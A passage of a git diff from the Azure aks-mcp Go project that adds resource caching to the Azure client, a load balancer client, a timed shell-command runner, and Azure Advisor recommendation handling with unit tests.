value to be a ManagedCluster") + } + + if retrievedCluster.Name == nil || *retrievedCluster.Name != "test-cluster" { + t.Errorf("Expected cluster name to be 'test-cluster', got %v", retrievedCluster.Name) + } +} + +func TestAzureCache_ConcurrentAccess(t *testing.T) { + cache := NewAzureCache(5 * time.Minute) + + // Test concurrent writes and reads + done := make(chan bool, 10) + + // Start multiple goroutines writing + for i := 0; i < 5; i++ { + go func(id int) { + cache.Set(fmt.Sprintf("key-%d", id), fmt.Sprintf("value-%d", id)) + done <- true + }(i) + } + + // Start multiple goroutines reading + for i := 0; i < 5; i++ { + go func(id int) { + cache.Get(fmt.Sprintf("key-%d", id)) + done <- true + }(i) + } + + // Wait for all goroutines to complete + for i := 0; i < 10; i++ { + <-done + } + + // Verify some values exist + if _, found := cache.Get("key-0"); !found { + t.Errorf("Expected key-0 to exist after concurrent operations") + } +} + +// Helper function for string pointers +func stringPtr(s string) *string { + return &s +} diff --git a/internal/azure/client.go b/internal/azureclient/client.go similarity index 60% rename from internal/azure/client.go rename to internal/azureclient/client.go index fe6de78..820a64f 100644 --- a/internal/azure/client.go +++ b/internal/azureclient/client.go @@ -1,11 +1,13 @@ // Package azure provides Azure SDK integration for AKS MCP server. -package azure +package azureclient import ( "context" "fmt" "sync" + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/azure-sdk-for-go/sdk/azcore/arm" "github.com/Azure/azure-sdk-for-go/sdk/azidentity" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/containerservice/armcontainerservice/v2" "github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/network/armnetwork/v2" @@ -19,6 +21,7 @@ type SubscriptionClients struct { SubnetsClient *armnetwork.SubnetsClient RouteTableClient *armnetwork.RouteTablesClient NSGClient *armnetwork.SecurityGroupsClient + LoadBalancerClient *armnetwork.LoadBalancersClient } // AzureClient represents an Azure API client that can handle multiple subscriptions. @@ -29,10 +32,12 @@ type AzureClient struct { mu sync.RWMutex // Shared credential for all clients credential *azidentity.DefaultAzureCredential + // Cache for Azure resources + cache *AzureCache } -// NewAzureClient creates a new Azure client using default credentials. -func NewAzureClient() (*AzureClient, error) { +// NewAzureClient creates a new Azure client using default credentials and the provided configuration. +func NewAzureClient(cfg *config.ConfigData) (*AzureClient, error) { // Create a credential using DefaultAzureCredential cred, err := azidentity.NewDefaultAzureCredential(nil) if err != nil { @@ -42,11 +47,12 @@ func NewAzureClient() (*AzureClient, error) { return &AzureClient{ clientsMap: make(map[string]*SubscriptionClients), credential: cred, + cache: NewAzureCache(cfg.CacheTimeout), }, nil } -// getOrCreateClientsForSubscription gets existing clients for a subscription or creates new ones. -func (c *AzureClient) getOrCreateClientsForSubscription(subscriptionID string) (*SubscriptionClients, error) { +// GetOrCreateClientsForSubscription gets existing clients for a subscription or creates new ones. +func (c *AzureClient) GetOrCreateClientsForSubscription(subscriptionID string) (*SubscriptionClients, error) { // First try to get existing clients with a read lock c.mu.RLock() clients, exists := c.clientsMap[subscriptionID] @@ -91,6 +97,11 @@ func (c *AzureClient) getOrCreateClientsForSubscription(subscriptionID string) ( return nil, fmt.Errorf("failed to create subnets client for subscription %s: %v", subscriptionID, err) } + loadBalancerClient, err := armnetwork.NewLoadBalancersClient(subscriptionID, c.credential, nil) + if err != nil { + return nil, fmt.Errorf("failed to create load balancer client for subscription %s: %v", subscriptionID, err) + } + // Create and store the clients clients = &SubscriptionClients{ SubscriptionID: subscriptionID, @@ -99,6 +110,7 @@ func (c *AzureClient) getOrCreateClientsForSubscription(subscriptionID string) ( SubnetsClient: subnetsClient, RouteTableClient: routeTableClient, NSGClient: nsgClient, + LoadBalancerClient: loadBalancerClient, } c.clientsMap[subscriptionID] = clients @@ -107,7 +119,17 @@ func (c *AzureClient) getOrCreateClientsForSubscription(subscriptionID string) ( // GetAKSCluster retrieves information about the specified AKS cluster. func (c *AzureClient) GetAKSCluster(ctx context.Context, subscriptionID, resourceGroup, clusterName string) (*armcontainerservice.ManagedCluster, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + // Create cache key + cacheKey := fmt.Sprintf("resource:cluster:%s:%s:%s", subscriptionID, resourceGroup, clusterName) + + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if cluster, ok := cached.(*armcontainerservice.ManagedCluster); ok { + return cluster, nil + } + } + + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } @@ -116,12 +138,27 @@ func (c *AzureClient) GetAKSCluster(ctx context.Context, subscriptionID, resourc if err != nil { return nil, fmt.Errorf("failed to get AKS cluster: %v", err) } - return &resp.ManagedCluster, nil + + cluster := &resp.ManagedCluster + // Store in cache + c.cache.Set(cacheKey, cluster) + + return cluster, nil } // GetVirtualNetwork retrieves information about the specified virtual network. func (c *AzureClient) GetVirtualNetwork(ctx context.Context, subscriptionID, resourceGroup, vnetName string) (*armnetwork.VirtualNetwork, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + // Create cache key + cacheKey := fmt.Sprintf("resource:vnet:%s:%s:%s", subscriptionID, resourceGroup, vnetName) + + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if vnet, ok := cached.(*armnetwork.VirtualNetwork); ok { + return vnet, nil + } + } + + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } @@ -130,12 +167,27 @@ func (c *AzureClient) GetVirtualNetwork(ctx context.Context, subscriptionID, res if err != nil { return nil, fmt.Errorf("failed to get virtual network: %v", err) } - return &resp.VirtualNetwork, nil + + vnet := &resp.VirtualNetwork + // Store in cache + c.cache.Set(cacheKey, vnet) + + return vnet, nil } // GetRouteTable retrieves information about the specified route table. func (c *AzureClient) GetRouteTable(ctx context.Context, subscriptionID, resourceGroup, routeTableName string) (*armnetwork.RouteTable, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + // Create cache key + cacheKey := fmt.Sprintf("resource:routetable:%s:%s:%s", subscriptionID, resourceGroup, routeTableName) + + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if routeTable, ok := cached.(*armnetwork.RouteTable); ok { + return routeTable, nil + } + } + + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } @@ -144,12 +196,27 @@ func (c *AzureClient) GetRouteTable(ctx context.Context, subscriptionID, resourc if err != nil { return nil, fmt.Errorf("failed to get route table: %v", err) } - return &resp.RouteTable, nil + + routeTable := &resp.RouteTable + // Store in cache + c.cache.Set(cacheKey, routeTable) + + return routeTable, nil } // GetNetworkSecurityGroup retrieves information about the specified network security group. func (c *AzureClient) GetNetworkSecurityGroup(ctx context.Context, subscriptionID, resourceGroup, nsgName string) (*armnetwork.SecurityGroup, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + // Create cache key + cacheKey := fmt.Sprintf("resource:nsg:%s:%s:%s", subscriptionID, resourceGroup, nsgName) + + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if nsg, ok := cached.(*armnetwork.SecurityGroup); ok { + return nsg, nil + } + } + + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } @@ -158,12 +225,27 @@ func (c *AzureClient) GetNetworkSecurityGroup(ctx context.Context, subscriptionI if err != nil { return nil, fmt.Errorf("failed to get network security group: %v", err) } - return &resp.SecurityGroup, nil + + nsg := &resp.SecurityGroup + // Store in cache + c.cache.Set(cacheKey, nsg) + + return nsg, nil } // GetSubnet retrieves information about the specified subnet in a virtual network. func (c *AzureClient) GetSubnet(ctx context.Context, subscriptionID, resourceGroup, vnetName, subnetName string) (*armnetwork.Subnet, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + // Create cache key + cacheKey := fmt.Sprintf("resource:subnet:%s:%s:%s:%s", subscriptionID, resourceGroup, vnetName, subnetName) + + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if subnet, ok := cached.(*armnetwork.Subnet); ok { + return subnet, nil + } + } + + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } @@ -172,91 +254,73 @@ func (c *AzureClient) GetSubnet(ctx context.Context, subscriptionID, resourceGro if err != nil { return nil, fmt.Errorf("failed to get subnet: %v", err) } - return &resp.Subnet, nil -} -// GetOrCreateClientsForSubscription gets existing clients for a subscription or creates new ones. -// This is a public wrapper around getOrCreateClientsForSubscription. -func (c *AzureClient) GetOrCreateClientsForSubscription(subscriptionID string) (*SubscriptionClients, error) { - return c.getOrCreateClientsForSubscription(subscriptionID) -} + subnet := &resp.Subnet + // Store in cache + c.cache.Set(cacheKey, subnet) -// Helper methods for working with resource IDs + return subnet, nil +} -// GetResourceByID retrieves a resource by its full Azure resource ID. -// It parses the ID, determines the resource type, and calls the appropriate method. -func (c *AzureClient) GetResourceByID(ctx context.Context, resourceID string) (interface{}, error) { - // Parse the resource ID - parsed, err := ParseResourceID(resourceID) - if err != nil { - return nil, fmt.Errorf("failed to parse resource ID: %v", err) - } +// GetLoadBalancer retrieves information about the specified load balancer. +func (c *AzureClient) GetLoadBalancer(ctx context.Context, subscriptionID, resourceGroup, lbName string) (*armnetwork.LoadBalancer, error) { + // Create cache key + cacheKey := fmt.Sprintf("resource:loadbalancer:%s:%s:%s", subscriptionID, resourceGroup, lbName) - // Based on the resource type, call the appropriate method - switch parsed.ResourceType { - case ResourceTypeAKSCluster: - return c.GetAKSCluster(ctx, parsed.SubscriptionID, parsed.ResourceGroup, parsed.ResourceName) - case ResourceTypeVirtualNetwork: - return c.GetVirtualNetwork(ctx, parsed.SubscriptionID, parsed.ResourceGroup, parsed.ResourceName) - case ResourceTypeRouteTable: - return c.GetRouteTable(ctx, parsed.SubscriptionID, parsed.ResourceGroup, parsed.ResourceName) - case ResourceTypeSecurityGroup: - return c.GetNetworkSecurityGroup(ctx, parsed.SubscriptionID, parsed.ResourceGroup, parsed.ResourceName) - case ResourceTypeSubnet: - return c.GetSubnet(ctx, parsed.SubscriptionID, parsed.ResourceGroup, parsed.ResourceName, parsed.SubResourceName) - default: - return nil, fmt.Errorf("unsupported resource type: %s", parsed.ResourceType) + // Check cache first + if cached, found := c.cache.Get(cacheKey); found { + if lb, ok := cached.(*armnetwork.LoadBalancer); ok { + return lb, nil + } } -} -// ListAKSClusters lists all AKS clusters in a specific resource group. -func (c *AzureClient) ListAKSClusters(ctx context.Context, subscriptionID, resourceGroup string) ([]*armcontainerservice.ManagedCluster, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) + clients, err := c.GetOrCreateClientsForSubscription(subscriptionID) if err != nil { return nil, err } - var clusters []*armcontainerservice.ManagedCluster - pager := clients.ContainerServiceClient.NewListByResourceGroupPager(resourceGroup, nil) - - for pager.More() { - page, err := pager.NextPage(ctx) - if err != nil { - return nil, fmt.Errorf("failed to get next page of AKS clusters: %v", err) - } - - for _, cluster := range page.Value { - if cluster != nil { - clusters = append(clusters, cluster) - } - } + resp, err := clients.LoadBalancerClient.Get(ctx, resourceGroup, lbName, nil) + if err != nil { + return nil, fmt.Errorf("failed to get load balancer: %v", err) } - return clusters, nil + lb := &resp.LoadBalancer + // Store in cache + c.cache.Set(cacheKey, lb) + + return lb, nil } -// ListAllAKSClusters lists all AKS clusters across a subscription. -func (c *AzureClient) ListAllAKSClusters(ctx context.Context, subscriptionID string) ([]*armcontainerservice.ManagedCluster, error) { - clients, err := c.getOrCreateClientsForSubscription(subscriptionID) +// Helper methods for working with resource IDs + +// GetResourceByID retrieves a resource by its full Azure resource ID. +// It parses the ID, determines the resource type, and calls the appropriate method. +func (c *AzureClient) GetResourceByID(ctx context.Context, resourceID string) (interface{}, error) { + // Parse the resource ID + parsed, err := arm.ParseResourceID(resourceID) if err != nil { - return nil, err + return nil, fmt.Errorf("failed to parse resource ID: %v", err) } - var clusters []*armcontainerservice.ManagedCluster - pager := clients.ContainerServiceClient.NewListPager(nil) - - for pager.More() { - page, err := pager.NextPage(ctx) - if err != nil { - return nil, fmt.Errorf("failed to get next page of AKS clusters: %v", err) - } - - for _, cluster := range page.Value { - if cluster != nil { - clusters = append(clusters, cluster) - } + // Based on the resource type, call the appropriate method + switch parsed.ResourceType.String() { + case "Microsoft.ContainerService/managedClusters": + return c.GetAKSCluster(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Name) + case "Microsoft.Network/virtualNetworks": + return c.GetVirtualNetwork(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Name) + case "Microsoft.Network/routeTables": + return c.GetRouteTable(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Name) + case "Microsoft.Network/networkSecurityGroups": + return c.GetNetworkSecurityGroup(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Name) + case "Microsoft.Network/loadBalancers": + return c.GetLoadBalancer(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Name) + case "Microsoft.Network/virtualNetworks/subnets": + // For subnets, we need the VNet name from parent and subnet name + if parsed.Parent != nil { + return c.GetSubnet(ctx, parsed.SubscriptionID, parsed.ResourceGroupName, parsed.Parent.Name, parsed.Name) } + return nil, fmt.Errorf("invalid subnet resource ID format: %s", resourceID) + default: + return nil, fmt.Errorf("unsupported resource type: %s", parsed.ResourceType) } - - return clusters, nil } diff --git a/internal/azureclient/client_test.go b/internal/azureclient/client_test.go new file mode 100644 index 0000000..59e481a --- /dev/null +++ b/internal/azureclient/client_test.go @@ -0,0 +1,42 @@ +package azureclient + +import ( + "testing" + "time" + + "github.com/Azure/aks-mcp/internal/config" +) + +func TestNewAzureClientWithConfigurableTimeout(t *testing.T) { + // Test default timeout + cfg := config.NewConfig() + client, err := NewAzureClient(cfg) + if err != nil { + t.Fatalf("Failed to create Azure client: %v", err) + } + + if client.cache.defaultTimeout != cfg.CacheTimeout { + t.Errorf("Expected cache timeout to be %v, got %v", cfg.CacheTimeout, client.cache.defaultTimeout) + } + + if client.cache.defaultTimeout != 1*time.Minute { + t.Errorf("Expected default cache timeout to be 1 minute, got %v", client.cache.defaultTimeout) + } + + // Test custom timeout + customCfg := &config.ConfigData{ + CacheTimeout: 5 * time.Minute, + } + customClient, err := NewAzureClient(customCfg) + if err != nil { + t.Fatalf("Failed to create Azure client with custom config: %v", err) + } + + if customClient.cache.defaultTimeout != customCfg.CacheTimeout { + t.Errorf("Expected cache timeout to be %v, got %v", customCfg.CacheTimeout, customClient.cache.defaultTimeout) + } + + if customClient.cache.defaultTimeout != 5*time.Minute { + t.Errorf("Expected custom cache timeout to be 5 minutes, got %v", customClient.cache.defaultTimeout) + } +} diff --git a/internal/command/command.go b/internal/command/command.go new file mode 100644 index 0000000..7f43255 --- /dev/null +++ b/internal/command/command.go @@ -0,0 +1,97 @@ +package command + +import ( + "bytes" + "context" + "os/exec" + "strings" + "time" + + "github.com/google/shlex" +) + +// ShellProcess wraps a shell command execution +type ShellProcess struct { + Command string + StripNewlines bool + ReturnErrOutput bool + Timeout int // in seconds +} + +// NewShellProcess creates a new ShellProcess +func NewShellProcess(command string, timeout int) *ShellProcess { + return &ShellProcess{ + Command: command, + StripNewlines: false, + ReturnErrOutput: true, + Timeout: timeout, + } +} + +// Run executes the command with the given arguments +func (s *ShellProcess) Run(args string) (string, error) { + commands := args + if args != "" && !strings.HasPrefix(commands, s.Command) { + commands = s.Command + " " + commands + } else if args == "" { + commands = s.Command + } + + return s.Exec(commands) +} + +// Exec runs the commands and returns the output +func (s *ShellProcess) Exec(commands string) (string, error) { + // Create a context with timeout + ctx, cancel := context.WithTimeout(context.Background(), time.Duration(s.Timeout)*time.Second) + defer cancel() + + var cmd *exec.Cmd + + // Parse the command string with proper handling of quotes + parts, err := shlex.Split(commands) + if err != nil { + return "", err + } + + if len(parts) > 1 { + // Command with arguments + // #nosec G204: Subprocess launched with a potential tainted input or cmd arguments + cmd = exec.CommandContext(ctx, parts[0], parts[1:]...) + } else if len(parts) == 1 { + // Single command without arguments + // #nosec G204: Subprocess launched with a potential tainted input or cmd arguments + cmd = exec.CommandContext(ctx, parts[0]) + } else { + // Empty command + return "", nil + } + + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + + // Execute the command + err = cmd.Run() + + // Check for timeout + if ctx.Err() == context.DeadlineExceeded { + return "", ctx.Err() + } + + // Handle errors + if err != nil { + if s.ReturnErrOutput && stderr.Len() > 0 { + return stderr.String(), nil + } + return "", err + } + + // Process output + output := stdout.String() + if s.StripNewlines { + output = strings.TrimSpace(output) + } + + return output, nil +} diff --git a/internal/components/advisor/advisor_test.go b/internal/components/advisor/advisor_test.go new file mode 100644 index 0000000..2ab5b68 --- /dev/null +++ b/internal/components/advisor/advisor_test.go @@ -0,0 +1,282 @@ +package advisor + +import ( + "testing" + + "github.com/Azure/aks-mcp/internal/config" +) + +// Test data +var mockCLIRecommendations = []CLIRecommendation{ + { + ID: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1", + Name: "rec1", + Category: "Cost", + Impact: "High", + ImpactedValue: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1", + LastUpdated: "2024-01-15T10:30:00Z", + ShortDescription: struct { + Problem string `json:"problem"` + Solution string `json:"solution"` + }{ + Problem: "Underutilized AKS cluster nodes", + Solution: "Consider reducing node count or using smaller VM sizes for your AKS cluster", + }, + }, + { + ID: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1/agentPools/nodepool1", + Name: "rec2", + Category: "Security", + Impact: "Medium", + ImpactedValue: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1/agentPools/nodepool1", + LastUpdated: "2024-01-15T09:15:00Z", + ShortDescription: struct { + Problem string `json:"problem"` + Solution string `json:"solution"` + }{ + Problem: "AKS node pool missing security configurations", + Solution: "Enable Azure Policy and security monitoring for AKS node pools", + }, + }, + { + ID: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Storage/storageAccounts/mystorage", + Name: "rec3", + Category: "Performance", + Impact: "Low", + ImpactedValue: "/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Storage/storageAccounts/mystorage", + LastUpdated: "2024-01-15T08:00:00Z", + ShortDescription: struct { + Problem string `json:"problem"` + Solution string `json:"solution"` + }{ + Problem: "Storage account performance issue", + Solution: "Upgrade storage account tier", + }, + }, +} + +func TestFilterAKSRecommendationsFromCLI(t *testing.T) { + aksRecommendations := filterAKSRecommendationsFromCLI(mockCLIRecommendations) + + // Should filter out the storage account recommendation and keep only AKS-related ones + expectedCount := 2 + if len(aksRecommendations) != expectedCount { + t.Errorf("Expected %d AKS recommendations, got %d", expectedCount, len(aksRecommendations)) + } + + // Verify the filtered recommendations are AKS-related + for _, rec := range aksRecommendations { + if !isAKSRelatedCLI(rec.ImpactedValue) { + t.Errorf("Non-AKS recommendation found in filtered results: %s", rec.ImpactedValue) + } + } +} + +func TestIsAKSRelatedCLI(t *testing.T) { + testCases := []struct { + resourceID string + expected bool + }{ + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1", true}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1/agentPools/nodepool1", true}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Network/loadBalancers/kubernetes-lb", true}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Network/publicIPAddresses/kubernetes-ip", true}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Storage/storageAccounts/mystorage", false}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Compute/virtualMachines/vm1", false}, + {"", false}, + } + + for _, tc := range testCases { + result := isAKSRelatedCLI(tc.resourceID) + if result != tc.expected { + t.Errorf("For resourceID %s, expected %v, got %v", tc.resourceID, tc.expected, result) + } + } +} + +func TestExtractAKSClusterNameFromCLI(t *testing.T) { + testCases := []struct { + resourceID string + expectedName string + }{ + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1", "aks-cluster-1"}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.ContainerService/managedClusters/my-test-cluster/agentPools/nodepool1", "my-test-cluster"}, + {"/subscriptions/sub1/resourceGroups/rg1/providers/Microsoft.Storage/storageAccounts/mystorage", ""}, + {"", ""}, + } + + for _, tc := range testCases { + result := extractAKSClusterNameFromCLI(tc.resourceID) + if result != tc.expectedName { + t.Errorf("For resourceID %s, expected cluster name %s, got %s", tc.resourceID, tc.expectedName, result) + } + } +} + +func TestExtractResourceGroupFromResourceID(t *testing.T) { + testCases := []struct { + resourceID string + expectedRG string + }{ + {"/subscriptions/sub1/resourceGroups/my-rg/providers/Microsoft.ContainerService/managedClusters/aks-cluster-1", "my-rg"}, + {"/subscriptions/sub1/resourceGroups/test-rg/providers/Microsoft.Storage/storageAccounts/mystorage", "test-rg"}, + {"/subscriptions/sub1/providers/Microsoft.Advisor/recommendations/rec1", ""}, + {"", ""}, + } + + for _, tc := range testCases { + result := extractResourceGroupFromResourceID(tc.resourceID) + if result != tc.expectedRG { + t.Errorf("For resourceID %s, expected resource group %s, got %s", tc.resourceID, tc.expectedRG, result) + } + } +} + +func TestConvertToAKSRecommendationSummary(t *testing.T) { + rec := mockCLIRecommendations[0] // Cost recommendation for AKS cluster + summary := convertToAKSRecommendationSummary(rec) + + if summary.ID != rec.ID { + t.Errorf("Expected ID %s, got %s", rec.ID, summary.ID) + } + + if summary.Category != rec.Category { + t.Errorf("Expected category %s, got %s", rec.Category, summary.Category) + } + + if summary.ClusterName != "aks-cluster-1" { + t.Errorf("Expected cluster name aks-cluster-1, got %s", summary.ClusterName) + } + + if summary.ResourceGroup != "rg1" { + t.Errorf("Expected resource group rg1, got %s", summary.ResourceGroup) + } + + if summary.ResourceID != rec.ID { + t.Errorf("Expected resource ID %s, got %s", rec.ID, summary.ResourceID) + } + + if summary.AKSSpecific.ConfigurationArea != "compute" { + t.Errorf("Expected configuration area compute, got %s", summary.AKSSpecific.ConfigurationArea) + } +} + +func TestFilterBySeverity(t *testing.T) { + // Filter for High severity + highSeverity := filterBySeverity(mockCLIRecommendations, "High") + if len(highSeverity) != 1 { + t.Errorf("Expected 1 high severity recommendation, got %d", len(highSeverity)) + } + + // Filter for Medium severity + mediumSeverity := filterBySeverity(mockCLIRecommendations, "Medium") + if len(mediumSeverity) != 1 { + t.Errorf("Expected 1 medium severity recommendation, got %d", len(mediumSeverity)) + } + + // Filter for Low severity + lowSeverity := filterBySeverity(mockCLIRecommendations, "Low") + if len(lowSeverity) != 1 { + t.Errorf("Expected 1 low severity recommendation, got %d", len(lowSeverity)) + } +} + +func TestGenerateAKSAdvisorReport(t *testing.T) { + // Convert mock data to AKS recommendations + aksRecommendations := filterAKSRecommendationsFromCLI(mockCLIRecommendations) + summaries := convertToAKSRecommendationSummaries(aksRecommendations) + + // Generate report + report := generateAKSAdvisorReport("test-subscription", summaries, "summary") + + if report.SubscriptionID != "test-subscription" { + t.Errorf("Expected subscription ID test-subscription, got %s", report.SubscriptionID) + } + + if len(report.Recommendations) != 2 { + t.Errorf("Expected 2 recommendations in report, got %d", len(report.Recommendations)) + } + + if report.Summary.TotalRecommendations != 2 { + t.Errorf("Expected total recommendations 2, got %d", report.Summary.TotalRecommendations) + } + + if report.Summary.ClustersAffected != 1 { + t.Errorf("Expected 1 cluster affected, got %d", report.Summary.ClustersAffected) + } + + // Check category breakdown + if report.Summary.ByCategory["Cost"] != 1 { + t.Errorf("Expected 1 cost recommendation, got %d", report.Summary.ByCategory["Cost"]) + } + + if report.Summary.ByCategory["Security"] != 1 { + t.Errorf("Expected 1 security recommendation, got %d", report.Summary.ByCategory["Security"]) + } +} + +func TestMapCategoryToConfigArea(t *testing.T) { + testCases := []struct { + category string + expectedArea string + }{ + {"Cost", "compute"}, + {"Security", "security"}, + {"Performance", "compute"}, + {"HighAvailability", "networking"}, + {"Unknown", "general"}, + } + + for _, tc := range testCases { + result := mapCategoryToConfigArea(tc.category) + if result != tc.expectedArea { + t.Errorf("For category %s, expected config area %s, got %s", tc.category, tc.expectedArea, result) + } + } +} + +func TestHandleAdvisorRecommendationInvalidOperation(t *testing.T) { + cfg := &config.ConfigData{} + params := map[string]interface{}{ + "operation": "invalid_operation", + } + + _, err := HandleAdvisorRecommendation(params, cfg) + if err == nil { + t.Error("Expected error for invalid operation, got nil") + } + + expectedError := "invalid operation: invalid_operation" + if !contains(err.Error(), expectedError) { + t.Errorf("Expected error to contain %s, got %s", expectedError, err.Error()) + } +} + +func TestHandleAdvisorRecommendationMissingOperation(t *testing.T) { + cfg := &config.ConfigData{} + params := map[string]interface{}{} + + _, err := HandleAdvisorRecommendation(params, cfg) + if err == nil { + t.Error("Expected error for missing operation, got nil") + } + + expectedError := "operation parameter is required" + if err.Error() != expectedError { + t.Errorf("Expected error %s, got %s", expectedError, err.Error()) + } +} + +// Helper function to check if a string contains a substring +func contains(s, substr string) bool { + return len(s) >= len(substr) && (s == substr || len(substr) == 0 || s[len(s)-len(substr):] == substr || s[:len(substr)] == substr || containsInMiddle(s, substr)) +} + +func containsInMiddle(s, substr string) bool { + for i := 0; i <= len(s)-len(substr); i++ { + if s[i:i+len(substr)] == substr { + return true + } + } + return false +} diff --git a/internal/components/advisor/aks_recommendations.go b/internal/components/advisor/aks_recommendations.go new file mode 100644 index 0000000..35bf604 --- /dev/null +++ b/internal/components/advisor/aks_recommendations.go @@ -0,0 +1,474 @@ +package advisor + +import ( + "encoding/json" + "fmt" + "log" + "strings" + "time" + + "github.com/Azure/aks-mcp/internal/azcli" + "github.com/Azure/aks-mcp/internal/config" +) + +// HandleAdvisorRecommendation is the main handler for Azure Advisor recommendation operations +func HandleAdvisorRecommendation(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + operation, ok := params["operation"].(string) + if !ok { + log.Println("[ADVISOR] Missing operation parameter") + return "", fmt.Errorf("operation parameter is required") + } + + log.Printf("[ADVISOR] Handling operation: %s", operation) + + switch operation { + case "list": + return handleAKSAdvisorRecommendationList(params, cfg) + case "details": + return handleAKSAdvisorRecommendationDetails(params, cfg) + case "report": + return handleAKSAdvisorRecommendationReport(params, cfg) + default: + log.Printf("[ADVISOR] Invalid operation: %s", operation) + return "", fmt.Errorf("invalid operation: %s. Allowed values: list, details, report", operation) + } +} + +// handleAKSAdvisorRecommendationList lists AKS-related recommendations +func handleAKSAdvisorRecommendationList(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + subscriptionID, ok := params["subscription_id"].(string) + if !ok { + log.Println("[ADVISOR] Missing subscription_id parameter") + return "", fmt.Errorf("subscription_id parameter is required") + } + + // Get optional parameters + resourceGroup, _ := params["resource_group"].(string) + category, _ := params["category"].(string) + severity, _ := params["severity"].(string) + + log.Printf("[ADVISOR] Listing recommendations for subscription: %s, resource_group: %s, category: %s, severity: %s", + subscriptionID, resourceGroup, category, severity) + + // Get cluster names filter if provided + var clusterNames []string + if clusterNamesParam, ok := params["cluster_names"].(string); ok && clusterNamesParam != "" { + // Parse comma-separated string into slice + for _, name := range strings.Split(clusterNamesParam, ",") { + if trimmedName := strings.TrimSpace(name); trimmedName != "" { + clusterNames = append(clusterNames, trimmedName) + } + } + log.Printf("[ADVISOR] Filtering by cluster names: %v", clusterNames) + } + + // Execute Azure CLI command to get recommendations + recommendations, err := listRecommendationsViaCLI(subscriptionID, resourceGroup, category, cfg) + if err != nil { + log.Printf("[ADVISOR] Failed to list recommendations: %v", err) + return "", fmt.Errorf("failed to list recommendations: %w", err) + } + + log.Printf("[ADVISOR] Found %d total recommendations", len(recommendations)) + + // Filter for AKS-related recommendations + aksRecommendations := filterAKSRecommendationsFromCLI(recommendations) + log.Printf("[ADVISOR] Found %d AKS-related recommendations", len(aksRecommendations)) + + // Apply additional filters + if severity != "" { + aksRecommendations = filterBySeverity(aksRecommendations, severity) + log.Printf("[ADVISOR] After severity filter: %d recommendations", len(aksRecommendations)) + } + if len(clusterNames) > 0 { + aksRecommendations = filterByClusterNames(aksRecommendations, clusterNames) + log.Printf("[ADVISOR] After cluster name filter: %d recommendations", len(aksRecommendations)) + } + + // Convert to AKS recommendation summaries + summaries := convertToAKSRecommendationSummaries(aksRecommendations) + + // Return JSON response + result, err := json.MarshalIndent(summaries, "", " ") + if err != nil { + log.Printf("[ADVISOR] Failed to marshal recommendations: %v", err) + return "", fmt.Errorf("failed to marshal recommendations: %w", err) + } + + log.Printf("[ADVISOR] Returning %d recommendation summaries", len(summaries)) + return string(result), nil +} + +// handleAKSAdvisorRecommendationDetails gets detailed information for a specific recommendation +func handleAKSAdvisorRecommendationDetails(params map[string]interface{}, cfg *config.ConfigData) (string, error) { + recommendationID, ok := params["recommendation_id"].(string) + if !ok { + return "", fmt.Errorf("recommendation_id parameter is required for details operation") + } + + // Execute Azure CLI command to get specific recommendation details + recommendation, err := getRecommendationDetailsViaCLI(recommendationID, cfg) + if err != nil { + return "", fmt.Errorf("failed to get recommendation details: %w", err) + } + + // Check if this is an AKS-related recommendation + if !isAKSRelatedCLI(recommendation.ID) { + return "", fmt.Errorf("recommendation %s is not related to AKS resources", recommendationID) + } + + // Convert to detailed AKS recommendation + summary := convertToAKSRecommendationSummary(*recommendation) + + // Return JSON response + result, err := json.MarshalIndent(summary, "", " ") + if err != nil { + return "", fmt.Errorf("failed to marshal recommendation details: %w", err) + } + + return string(result), nil +} + +// 